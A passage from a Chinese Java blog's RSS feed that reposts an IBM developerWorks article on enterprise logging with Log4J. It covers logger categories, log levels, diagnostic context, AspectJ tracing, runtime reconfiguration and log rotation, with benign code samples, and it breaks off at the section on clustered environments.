<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://www.vipan.com/htdocs/log4jhelp.html" target=_top>http://www.vipan.com/htdocs/log4jhelp.html</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">Don't Use System.out.println! Use Log4j - Vipan Singla </P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://www.opensymphony.com/guidelines/logging.jsp" target=_top>http://www.opensymphony.com/guidelines/logging.jsp</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">LOG4J / OpenSymphony Logging Primer</P>
<LI xmlns="http://www.w3.org/1999/xhtml">
<P xmlns="http://www.w3.org/1999/xhtml"><A href="http://builder.com.com/article.jhtml?id=u00820020124kev01.htm" target=_top>http://builder.com.com/article.jhtml?id=u00820020124kev01.htm</A></P>
<P xmlns="http://www.w3.org/1999/xhtml">Add logging to your Java Applications - Kevin Brown</P></LI></UL></DIV></DIV></DIV><img src ="http://www.blogjava.net/kapok/aggbug/12274.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-07 00:03 <a href="http://www.blogjava.net/kapok/archive/2005/09/07/12274.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>有效地记录日志可以简化企业的开发过程 </title><link>http://www.blogjava.net/kapok/archive/2005/09/06/12271.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 06 Sep 2005 15:32:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/06/12271.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12271.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/06/12271.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12271.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12271.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width="100%">
<H1>有效地记录日志可以简化企业的开发过程</H1>
<P id=subtitle><A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/">http://www-128.ibm.com/developerworks/cn/java/j-logging/</A><BR>提前规划一个记录日志的计划，在开发过程后期就可以获益</P><IMG class=display-img height=6 alt="" src="http://www.ibm.com/i/c.gif" width=1></TD>
<TD class=no-print width=192><IMG height=18 alt=developerWorks src="http://www-128.ibm.com/developerworks/i/dw.gif" width=192></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=10><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=10></TD>
<TD width="100%">
<TABLE class=no-print cellSpacing=0 cellPadding=0 width=160 align=right border=0>
<TBODY>
<TR>
<TD width=10><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=10></TD>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=150 border=0>
<TBODY>
<TR>
<TD class=v14-header-1-small>文档选项</TD></TR></TBODY></TABLE>
<TABLE class=v14-gray-table-border cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=no-padding width=150>
<TABLE cellSpacing=0 cellPadding=0 width=143 border=0><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8> 
<FORM name=email action=https://www-130.ibm.com/developerworks/secure/email-it.jsp><INPUT type=hidden value="在企业级的开发过程中，我们不可避免地会碰到很多问题；如果您希望在开发过程的后期能够有效地捕捉 bug，那就需要一种有效的日志策略。但是在一个企业的应用程序中要想实现有效地记录日志，需要进行一番规划，并设计一些准则。在本文中，顾问 Charles Chan 将向您介绍一些最好的实践，从而帮助您从项目一开始就编写有用的日志代码。" name=body><INPUT type=hidden value=有效地记录日志可以简化企业的开发过程 name=subject><INPUT type=hidden value=cn name=lang>
<SCRIPT language=JavaScript type=text/javascript>
<!--
document.write('<tr valign="top"><td width="8"><img src="//www.ibm.com/i/c.gif" width="8" height="1" alt=""/></td><td width="16"><img src="//www.ibm.com/i/v14/icons/em.gif" height="16" width="16" vspace="3" alt="将此页作为电子邮件发送" /></td><td width="122"><p><a class="smallplainlink" href="javascript:document.email.submit();"><b>将此页作为电子邮件发送</b></a></p></td></tr>');
//-->
</SCRIPT>
 
<TBODY>
<TR vAlign=top>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8></TD>
<TD width=16><IMG height=16 alt=将此页作为电子邮件发送 src="http://www.ibm.com/i/v14/icons/em.gif" width=16 vspace=3></TD>
<TD width=122>
<P><A class=smallplainlink href="javascript:document.email.submit();"><B><FONT color=#5c81a7 size=2>将此页作为电子邮件发送</FONT></B></A></P></TD></TR><NOSCRIPT>
<TR vAlign=top>
<TD width=8><IMG height=1 alt="" src="//www.ibm.com/i/c.gif" width=8></TD>
<TD width=16><IMG height=16 alt="" src="//www.ibm.com/i/c.gif" width=16></TD>
<TD class=small width=122>
<P><SPAN class=ast>未显示需要 JavaScript 的文档选项</SPAN></P></TD></TR></NOSCRIPT></FORM></TBODY></TABLE></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=0 width=150 border=0>
<TBODY>
<TR>
<TD class=v14-header-1-small>对此页的评价</TD></TR></TBODY></TABLE>
<TABLE class=v14-gray-table-border cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=no-padding width=150>
<TABLE cellSpacing=0 cellPadding=0 width=143 border=0>
<TBODY>
<TR vAlign=top>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8></TD>
<TD><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/d_bold.gif" width=16 vspace=3 border=0></TD>
<TD width=125>
<P><A class=smallplainlink href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#rate"><B><FONT color=#996699 size=2>帮助我们改进这些内容</FONT></B></A></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR></TD></TR></TBODY></TABLE>
<P>级别: 中级</P>
<P><A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#author"><FONT color=#996699>Charles Chan </FONT></A>, 首席顾问, Ambrose Software Inc.<BR></P>
<P>2005 年 9 月 05 日</P>
<BLOCKQUOTE>在企业级的开发过程中，我们不可避免地会碰到很多问题；如果您希望在开发过程的后期能够有效地捕捉 bug，那就需要一种有效的日志策略。但是在一个企业的应用程序中要想实现有效地记录日志，需要进行一番规划，并设计一些准则。在本文中，顾问 Charles Chan 将向您介绍一些最好的实践，从而帮助您从项目一开始就编写有用的日志代码。</BLOCKQUOTE>
<P>如果您是一名开发人员，那您很可能就已经具有这种经验：您已经开发了一些代码以及一些测试用例。应用程序经过了严格的 QA 测试，您确信代码可以完全适合业务的需求。然而，在将应用程序最终交付终端用户的手里时，却会出现一些预想不到的问题。如果没有适当的日志消息，可能需要花费几天的时间来诊断这些问题。不幸的是，大部分项目对于日志都没有一个清晰的策略。如果没有这种策略，系统产生的日志消息就有可能无益于问题的分析和解决。在本文中，我们将讨论企业应用程序日志的各个方面的问题。您将看到一个 Java™ 平台上日志 API 的概述，学习一些最好的编写日志代码的实践，并了解如果需要在产品环境中对详细日志重新进行排序，应该如何处理。</P>
<P><A name=1><SPAN class=atitle><FONT face=Arial size=4>选择日志 API </FONT></SPAN></A></P>
<P>在使用 Java 平台进行开发时，可以使用两个主要的日志 API：Apache Log4J 和 Java Logging API，在 1.4 及更高版本的 Java 平台中都提供了这两个 API。与 Java Logging API 相比，Log4J 更加成熟，特性也更加丰富。这两个日志的实现都采用了一个类似的设计模式（如图 1 所示）。除非您的公司限制要使用第三方的库，否则我强烈建议使用 Log4J。如果您不能决定使用哪个 API，就可以使用 Apache Commons Logging API，它对底层的日志实现进行了封装。从理论上来说，这样不用修改代码就可以进行日志实现的切换。然而，实际上您很少会切换日志的实现；因此，我不建议使用 Apache Commons Logging API，因为它的复杂性并不没有给您带来其他特性。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=2><SPAN class=atitle><FONT face=Arial size=4>日志概述</FONT></SPAN></A></P>
<P>Log4J 和 Java Logging API 都采用了类似的设计和使用模式（如图 1 和清单 1 所示）。消息首先被创建，然后传递给一个具有特定优先权的日志对象。这些消息的目的和格式是由输出处理程序及其布局所决定。</P><BR><A name=figure1><B>图 1. 日志实现的主要组件</B></A><BR><IMG height=199 alt=日志实现的主要组件 src="http://www-128.ibm.com/developerworks/cn/java/j-logging/components.gif" width=508><BR><BR><A name=listing1><B>清单 1. 日志对象的实例化和使用</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import org.apache.log4j.Logger;

public class MyClass {
  /*
   * Obtain a logger for a message category. In this case, the message category is
   * the fully qualified class name of MyClass.
   */
  private static final Logger logger = Logger.getLogger(MyClass.class.getName());
  ...
  public void myMethod() {
    ...
    if (logger.isDebugEnabled()) {
      logger.debug("Executing with parameters: " + param1 + ":" + param2);
    }
  }
}</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>一个好的日志实现中提供了很多不同的输出处理程序，最常见的文件输出处理程序和终端输出处理程序。Log4J 还提供了一些处理程序将消息发布到一个 JMS 主题中，或者将消息插入一个数据库表中。尽管这编写一个定制的附加器并不困难，但是编写和维护这种代码的总体成本不应低估。消息的格式可以通过 <CODE>Layout</CODE> 对象进行配置。最常见的 layout 对象是 <CODE>PatternLayout</CODE>，它根据所提供的模式对消息进行格式化。</P>
<P>清单 2 给出了一个 Log4J 的样例配置文件，它负责配置 <CODE>FileAppender</CODE>。在这种配置中，<CODE>com.ambrosesoft.log.MyClass</CODE> 类中的错误消息被发送给 <CODE>FileAppender</CODE>，后者将其写入一个名为 log.txt 的文件中。这些消息是根据与这个添加器相关的 layout（在这种情况中是 <CODE>PatternLayout</CODE>）进行格式化的。</P><BR><A name=listing2><B>清单 2. Log4J XML 配置样例文件</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section><FONT face="Lucida Console"><?xml version="1.0" encoding="UTF-8" ?>


<?xml:namespace prefix = log4j /><log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
        
  <APPENDER class=org.apache.log4j.FileAppender name="fileAppender">
    <PARAM name="File" value="log.txt" />
    <PARAM name="Append" value="true" />
    <LAYOUT class=org.apache.log4j.PatternLayout>
      <PARAM name="ConversionPattern" value="%d [%t] %p - %m%n" />
    </LAYOUT>
  </APPENDER>

  <CATEGORY name="com.ambrosesoft.log.MyClass">
    <PRIORITY value="error" />
    <APPENDER-REF ref="fileAppender" />
  </CATEGORY>

  <ROOT>
    <PRIORITY value="debug" />
    <APPENDER-REF ref="fileAppender" />
  </ROOT>

</log4j:configuration>
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face="Lucida Console"><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></FONT></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><FONT face="Lucida Console"><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></FONT></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=3><SPAN class=atitle><FONT face=Arial size=4>日志最佳实践</FONT></SPAN></A></P>
<P>关于日志，您要做的一个最重要的选择可能是确定一种模式，将每个日志消息分配给一个特定的 <I>类别</I>。常见的一种实践是使用每个类的全名，这些类的操作会被作为一个消息类别在日志中记录（正如我们在清单 1 中看到的一样），这是因为这可以让开发人员更细粒度地记录每个类的设置。然而，这只有在使用日志消息来跟踪执行过程时才能良好地工作。在企业级的应用程序中，有很多其他类型的日志消息。举例来说，一条日志消息可能是为安全顾问产生的，而另外一条日志消息则可能是会为了帮助进行性能调优而产生的。如果这两条消息所关注的是同一个类，这样就会被分配给相同的类别，这将很难在日志输出结果中对其进行区分。</P>
<P>为了避免这个问题，应用程序应该具有一组专用的日志记录程序，它们都进行了独特的分类，如清单 3 所示。每个日志记录程序都可以配置自己的优先级和输出处理程序。例如，安全性日志记录程序可以在将日志写入目的地之前对消息进行加密。有时应用程序的设计者应该与使用日志的用户（例如安全顾问）一起来商讨日志的输出格式，从而对这些消息进行更好的控制。</P><BR><A name=listing3><B>清单 3. 专用的日志记录程序</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import org.apache.log4j.Logger;

public interface Loggers {
 <FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000> Logger performance = Logger.getLogger("performance");
  Logger security = Logger.getLogger("security");
  Logger business = Logger.getLogger("business");</FONT>
}
...
public class MyClass {
  ....
  if (<FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>Loggers.security.isWarnEnabled()</FONT>) {
    Loggers.security.warn("Access denied: Username [" + userName + "] ...");
  }
  ...
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P><A name=3.1><SPAN class=smalltitle><STRONG><FONT face=Arial>选择日志的级别</FONT></STRONG></SPAN></A></P>
<P>一个 <I>类别</I> （例如 security）中的消息可以具有不同的 <I>优先级</I>。有些消息是为了调试而产生的，有些是为了警告而产生的，有些则是出现错误而产生的。消息的不同优先级可以通过记录 <I>级别</I> 来产生。最常用的日志级别有：</P>
<UL>
<LI><B>Debug:</B> 这个级别的消息中包含了非常广泛的上下文信息。通常用于问题诊断。<BR><BR>
<LI><B>Info:</B> 这些消息包含了一些有助于在产品环境中（粒度较粗）帮助跟踪执行过程的上下文消息。<BR><BR>
<LI><B>Warning:</B> 警告消息，说明系统中可能存在问题。例如，如果这个消息类别是有关安全性方面的，那么如果检测到字典攻击，就应该产生一条警告消息。<BR><BR>
<LI><B>Error:</B> 错误消息说明系统中出现了严重的问题。这种问题通常都是不可恢复的，需要人工进行干预。</LI></UL>
<P>标准的 Java Logging API 和 Apache Log4J 在此之外又提供了一些日志级别。日志级别的主要目标是帮助您过滤有用信息中的噪声。为了防止出现使用错误的级别以及降低日志消息的效用的情况，在开始编码之前，必须为开发人员提供一个清晰的指导方针。</P>
<P><A name=3.2><SPAN class=smalltitle><STRONG><FONT face=Arial>日志消息的格式</FONT></STRONG></SPAN></A></P>
<P>一旦选定日志记录程序并建立起日志级别之后，就可以开始构建日志消息了。在这样做时，重要的是要包含尽可能多的上下文信息，例如用户提供的参数，其他应用程序的状态信息。记录日志对象的一种方法是将它们转换成 XML。第三方库，例如 XStream（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>）可以自动将 Java 对象转换成 XML 。尽管这是一种非常强大的机制，但是我们必须要考虑在速度与详细程度之间达到一种平衡。除了典型的应用程序状态信息之外，还应该记录以下信息：</P>
<UL>
<LI><B>线程 ID:</B> 企业级的应用程序通常都是在多线程的环境中运行的。使用线程 ID 信息，您就可以将多个请求区分开来。<BR><BR>
<LI><B>调用程序的标识:</B> 调用程序的标识也是非常重要的信息。由于不同的用户具有不同的特权，它们的执行路径也可能会有很大的不同。将用户的标识放到日志消息中，这对于对安全性敏感的应用程序是非常大的一个帮助。<BR><BR>
<LI><B>时间戳:</B> 通常来说，用户只能近似地知道问题发生的时间。如果没有时间戳，就很难让别人来判断问题的原因所在。<BR><BR>
<LI><B>源代码信息:</B> 这包括类名、方法名和行号。除非您非常关注安全性，否则我建议您保留调试标记<FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>（<CODE>-g</CODE>），</FONT>即使在编译产品时也是如此。如果没有调试标记，Java 编译器就会删除所有的行号信息，从而极大地减少日志消息的可用性。 </LI></UL>
<P>上面这些信息（除了调用程序标识）都是由日志实现自动获取的。为了将这些信息包含到消息中，您只需要为输出处理程序配置一个适当的 layout 模式即可。要捕获调用者的标识，您可以利用 Log4J 中的诊断上下文特性（更多信息请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>）。诊断上下文让您可以将上下文信息与当前正在运行的线程关联在一起。这些信息可以在为输出进行格式化的同时而包含到每条消息中。</P>
<P>在 J2EE Web 应用程序中，应用逻辑将用户标识保存到诊断上下文中最好的地方是在一个 servlet 过滤器中。清单 4 中显示了要实现这种功能的必要代码。它使用了 Log4J 1.3 alpha 中提供的映射诊断上下文类（<CODE>MDC</CODE>）。您可以使用 Log4J 1.2 中提供的嵌套诊断上下文（<CODE>NDC</CODE>）实现相同的功能。有关 servlet 过滤器的更多通用信息，请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A> 中的信息。</P><BR><A name=listing4><B>清单 4. 在 servlet 过滤器中使用诊断上下文</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import javax.servlet.Filter;
...
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.apache.log4j.MDC;

public class LoggerFilter implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {
        
        // Retrieves the session object from the current request.
        HttpSession session = ((HttpServletRequest)request).getSession();
        
        // Put the username into the diagnostic context.
        // Use %X{username} in the layout pattern to include this information.
        <FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>MDC</FONT>.put("username", session.getAttribute("username"));
        
        // Continue processing the rest of the filter chain.
        chain.doFilter(request, response);
        
        // Remove the username from the diagnostic context.
        MDC.remove("username");
    }
    ...
}</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P><A name=3.3><SPAN class=smalltitle><STRONG><FONT face=Arial>使用 AspectJ 跟踪执行情况</FONT></STRONG></SPAN></A></P>
<P>在对问题进行诊断时，通常跟踪程序的执行情况会很有帮助。您可以在程序执行的不同地方持续发送日志消息吗？例如方法的入口函数和出口函数。这是一个老问题，在出现 AspectJ 之前一直都没有什么好的解决方案。使用 AspectJ，可以在应用程序的不同地方执行代码段。在 AspectJ 中，这些地方都称为 <I>point cut</I>，在 point cut 处所执行的代码称为 <I>advice</I>。point cut 和advice 合称 <I>aspect</I>。</P>
<P>关于 AspectJ，有一件事情非常神奇，aspect 不用很多努力就可以应用到整个应用程序中。有关 AspectJ 的更多信息，请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>。清单 5 给出了一个 AspectJ 源文件的例子，它用来对方法的入口和出口函数记录日志。在这个例子中，跟踪日志程序将在每次进入或退出 <CODE>com.ambrosesoft</CODE> 包的一个共有方法时都会记录一条日志。</P><BR><A name=listing5><B>清单 5. 使用 AspectJ 记录方法的入口和出口</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import org.apache.log4j.Logger;
import java.lang.reflect.Field;

public aspect AutoTrace {

    private static final Logger logger = Logger.getLogger(AutoTrace.class);
    
    pointcut publicMethods() : execution(public * com.ambrosesoft..*(..));

    pointcut loggableCalls() : publicMethods();
    
    /**
     * Inspect the class and find its logger object. If none is found, use
     * the one defined here.
     */
    private Logger getLogger(org.aspectj.lang.JoinPoint joinPoint) {
        try {
            /*
             * Try to discover the logger object. 
             * The logger object must be a static field called logger.
             */
            Class declaringType = joinPoint.getSignature().getDeclaringType();
            Field loggerField = declaringType.getField("logger");
            loggerField.setAccessible(true);
            return (Logger)loggerField.get(null);
        } catch(NoSuchFieldException e) {
            /*
             * Cannot find a logger object, use the internal one.
             */
            return logger;
        } catch(Exception e) {
            throw new RuntimeException(e);
        }
    }
    
    /**
     * An aspect to log method entry.
     */
    before() : loggableCalls(){
        getLogger(thisJoinPoint).debug("Entering.." + thisJoinPoint.getSignature().toString());
    }
      
    /**
     * An aspect to log method exit.
     */
    after() : loggableCalls(){
        getLogger(thisJoinPoint).debug("Exiting.." + thisJoinPoint.getSignature().toString());
    }
}</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face="Lucida Console"><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></FONT></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><FONT face="Lucida Console"><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></FONT></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=4><SPAN class=atitle><FONT face=Arial size=4>产品环境中的日志</FONT></SPAN></A></P>
<P>一旦应用程序处于产品环境中之后，您通常都需要关闭调试或信息日志消息，从而对运行时的性能进行优化。然而，当有些不好的事情发生时，您又不能在开发环境中重现这个问题，那就可能需要在产品环境中激活调试消息了。重要的是能够修改日志的设置，而不用关闭服务器。诊断产品的问题即使不用花费数天来进行详细的调研，通常也需要几个小时的时间。在这段时间之内，开发人员需要激活或关闭应用程序不同范围的日志。如果每次修改日志的设置之后都需要重新启动产品应用程序，那么情况就会变得非常不可靠了。</P>
<P><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>幸运的是，Log4J 提供了一种简单的机制来解决这个问题。在 Log4J 1.2 中，<CODE>DOMConfigurator</CODE> 中的 <CODE>configureAndWatch()</CODE> 方法会对 Log4J 进行配置，并自动监视日志配置文件中的变化。这在清单 6 中进行了阐述。（注意，在 Log4J 1.3（目前仍是 alpha 版本） 中并不推荐使用 <CODE>DOMConfigurator</CODE>，它使用了一个更加灵活的实现 <CODE>JoranConfigurator</CODE>。）</FONT></P>
<P><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>为了确保 <CODE>configureAndWatch()</CODE> 是在 Log4J 初始化之前调用的，您应该在启动类中调用它。不同的应用程序服务器采用了不同的机制来执行启动代码（更多信息请参阅 </FONT><A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>参考资料</FONT></A><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>）。详细信息请查看应用服务器的实现。有些应用服务器可能需要您将 Log4J 的库放到服务器的 classpath 中。日志配置文件应该保存到一个需要日志的人可以访问的位置。</FONT></P><BR><A name=listing6><B>清单 6. 使用 DOMConfigurator 配置 Log4J</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">/*
 * Configure Log4J library and periodically monitor log4j.xml for any update.
 */
DOMConfigurator.configureAndWatch("/apps/config/log4j.xml");
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>如果您的日志配置文件不能方便地进行访问（例如您的产品环境是由一个不同的组织进行维护的），那么您就必须使用一种不同的策略。标准的方法是使用 JMX</FONT>，它提供了一个标准的 API 来管理自己的应用程序设置。在现代 JMX 兼容的服务器中，您可以使用管理 bean （或 <I>MBeans</I> ）来扩展应用服务器的管理终端的功能（更多有关使用 JMX 以及在 WebSphere Application Server 6.0 中使用 JMX 的内容，请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A> 一节。）由于 JMX 方法非常复杂，如果您的情况需要使用 JMX，那就应该只用作这个用途。</P>
<P><A name=4.1><SPAN class=smalltitle><STRONG><FONT face=Arial>记录敏感的数据</FONT></STRONG></SPAN></A></P>
<P>在记录产品环境中的日志时，除了技术方面的挑战之外，还存在一些业务问题需要克服。例如，记录敏感的信息可能会引起安全性的问题。并没有任何限制可以防止您将某个用户的用户名和密码保存到正文文件中。您还必须要保护其他敏感信息，例如 e-mail 地址、电话号码以及帐号信息。安全顾问和设计师有责任要确保这些信息不会未加任何处理就保存到日志中。对敏感信息使用安全性专用的日志程序可以帮助降低风险。您可以给这个日志程序配置一个专用的附加器，从而使用一种加密的格式来保存消息，或者将其保存到一个安全的地方。然而，防止出现安全风险的最佳方法是在项目开始之前就设置适当的编码规范，并在检查代码时强制施行这些规范。</P>
<P><A name=4.2><SPAN class=smalltitle><STRONG><FONT face=Arial>从异常中提取有用信息 </FONT></STRONG></SPAN></A></P>
<P>当发生一个非预期的异常时 —— 例如，如果数据库连接突然失效了，或者系统资源变得很低了 —— 就必须对其适当地进行处理，否则就会丢失有用的信息，这些信息在诊断问题时是非常有帮助的。首先，必须记录异常及其堆栈跟踪状况。其次，应该使用一种用户界面友好的方式来标识错误页面，这对于终端用户和技术支持小组来说都是非常有帮助的。</P>
<P>技术支持小组在接到一个技术支持电话时所面临的一个挑战是在用户所报告的问题与特定的日志异常之间建立某种关联。非常有用的一种简单技术是为每个异常都记录一个唯一的 ID。这个 ID 可以告诉用户，也可以包含在终端用户所填写的问题报告表单中。这样可以减少技术支持团队成员猜测的时间，让他们可以快速对问题作出响应。考虑到可读性的问题，可以定期对 ID 进行回收。</P>
<P><A name=4.3><SPAN class=smalltitle><STRONG><FONT face=Arial>日志文件的管理</FONT></STRONG></SPAN></A></P>
<P>一个非常繁忙的应用程序的日志文件可能会迅速变得非常大。较大的日志文件很难使用，这是因为它们需要过滤大量的噪声才能找到有用的信号。<I>Log 循环</I> 是常见的一个可以帮助解决这个问题的实践。日志循环会周期性地对旧日志进行归档，这样新消息就可以总能写到一个相对较小的文件中。日志消息降低了一些效用来提高速度；您可能很少需要参考一周之前的日志消息。在 Log4J 1.2 中， <CODE>DailyRollingFileAppender</CODE> 附加器可以根据所提供的日期模式来循环使用日志文件。（在 Log4J 1.3 中，已经对这个循环日志文件附加器重新进行了设计。现在您可以提供一种策略来控制如何进行循环了。例如， <CODE>TimeBasedRollingPolicy</CODE> 定义了一种基于时间和日期的循环模式。）清单 7 显示了让 Log4J 在每天午夜对自己的日志文件进行循环所采用的配置片断。 </P><BR><A name=listing7><B>清单 7. 使用 DailyRollingFileAppender 循环使用日志文件</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console"><?xml version="1.0" encoding="UTF-8" ?>


<log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
        
  <APPENDER class=org.apache.log4j.DailyRollingFileAppender name="fileAppender">
    <PARAM name="File" value="log.txt" />
    <PARAM name="Append" value="true" />
    <PARAM name="DatePattern" value="'.'yyyy-MM-dd" />
    <LAYOUT class=org.apache.log4j.PatternLayout>
      <PARAM name="ConversionPattern" value="%d [%t] %p - %m%n" />
    </LAYOUT>
  </APPENDER>
...
</log4j:configuration>
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face="Lucida Console"><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></FONT></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><FONT face="Lucida Console"><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></FONT></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=5><SPAN class=atitle><FONT face=Arial size=4>集群环境中的日志</FONT></SPAN></A></P>
